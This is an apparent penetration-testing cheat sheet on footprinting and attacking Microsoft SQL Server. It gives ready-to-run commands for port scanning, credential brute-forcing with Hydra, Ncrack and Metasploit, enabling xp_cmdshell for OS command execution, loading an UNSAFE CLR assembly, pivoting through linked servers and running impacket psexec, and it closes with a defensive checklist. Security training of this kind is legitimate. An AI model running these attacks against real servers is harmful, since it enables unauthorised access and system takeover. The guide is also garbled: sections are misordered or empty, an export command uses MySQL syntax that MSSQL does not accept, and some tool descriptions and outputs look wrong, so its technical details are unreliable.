🟦 MSSQL Footprinting¶

Microsoft SQL Server (MSSQL) is a widely deployed relational database platform. Unsecured or mis‑configured instances can leak version information, user accounts, database schemas, and even allow remote code execution. This guide outlines practical reconnaissance steps, useful tools, and defensive recommendations.

1. Service Discovery¶

• Port scanning – MSSQL typically listens on TCP 1433 (default) and can also use dynamic ports. Use a quick scan to locate open ports.

  nmap -p 1433 --open <target>
  

• Banner grabbing – Simple TCP connection can reveal the server version. The nc utility works for a quick check.

  nc -v <target> 1433
  

  Expected output (truncated):

  0x01 0x0A 0x00 0x00 ... (MSSQL Server 2017 Express)
  

• Nmap NSE scripts – Several scripts target MSSQL:
• ms-sql-info – Retrieves version, OS, and authentication methods.
• ms-sql-dac – Enumerates available databases when credentials are known.

  nmap -p 1433 -sV --script ms-sql-info <target>
  

2. Version & Configuration Enumeration¶

2.2 Default System Databases¶

2.1 Direct MSSQL Commands (sqlcmd)¶

Common interactive commands using the sqlcmd utility:

# Show server version
sqlcmd -S <host> -U <user> -P <pass> -Q "SELECT @@VERSION;"

# List databases
sqlcmd -S <host> -U <user> -P <pass> -Q "SELECT name FROM sys.databases;"

# List tables in a specific database
sqlcmd -S <host> -d <database> -U <user> -P <pass> -Q "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE';"

# Describe a table's columns
sqlcmd -S <host> -d <database> -U <user> -P <pass> -Q "SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='<table>';"

# Select sample data (limit 10 rows)
sqlcmd -S <host> -d <database> -U <user> -P <pass> -Q "SELECT TOP 10 * FROM <table>;"

# Export a table to a CSV file (server‑side) – requires write permission to the output path
sqlcmd -S <host> -d <database> -U <user> -P <pass> -Q "SELECT * FROM <table> INTO OUTFILE 'C:\\temp\\<table>.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' LINES TERMINATED BY '\n';"

3. Credential Brute‑Force¶

• Hydra – Parallel password guessing against MSSQL.

  hydra -L users.txt -P pass.txt mssql://<target>
  

• Ncrack – Faster for large wordlists.

  ncrack -p 1433 <target> -U users.txt -P pass.txt
  

• Metasploit – auxiliary/scanner/mssql/mssql_login module supports credential attacks and can dump hashes.

  msfconsole -q -x "use auxiliary/scanner/mssql/mssql_login; set RHOSTS <target>; set USER_FILE users.txt; set PASS_FILE pass.txt; run"
  

4. Database & User Enumeration¶

5. Privilege Escalation & Lateral Movement¶

1. xp_cmdshell – If enabled, allows execution of OS commands.

   EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
   EXEC xp_cmdshell 'whoami';
   

2. CLR integration – Upload and execute a .NET assembly.

   EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
   CREATE ASSEMBLY Malicious FROM 'C:\temp\malicious.dll' WITH PERMISSION_SET = UNSAFE;
   

3. Linked servers – Pivot to other hosts if a linked server is trusted.

   EXEC sp_linkedservers; -- list linked servers
   EXEC ('SELECT @@VERSION') AT [LinkedServerName];
   

4. Impacket psexec.py – Use valid MSSQL credentials to execute remote commands via the xp_cmdshell or SMB relay.

   python3 -m impacket.psexec <target> -user <user> -password <pass>
   

6. Defensive Recommendations (Quick Checklist)¶

• Disable sa account or enforce a strong, complex password.
• Turn off xp_cmdshell and CLR unless required.
• Restrict inbound traffic to port 1433 (or custom ports) using firewalls.
• Require encrypted connections (Encrypt=yes in connection strings).
• Apply the latest cumulative updates and patches.
• Use Windows Authentication (Active Directory) where possible.
• Regularly audit server logs for failed login attempts.

7. References & Further Reading¶

• Microsoft Docs – Security Best Practices for SQL Server: https://learn.microsoft.com/en-us/sql/relational-databases/security/sql-server-security-best-practices
• Nmap MSSQL NSE scripts: https://nmap.org/nsedoc/scripts/ms-sql-*.html
• Impacket MSSQL client documentation: https://github.com/SecureAuthCorp/impacket/tree/master/examples
• OWASP Testing Guide – Database Security: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Testing_for_Configuration_and_Deployment_Management
• sqlmap Project: https://github.com/sqlmapproject/sqlmap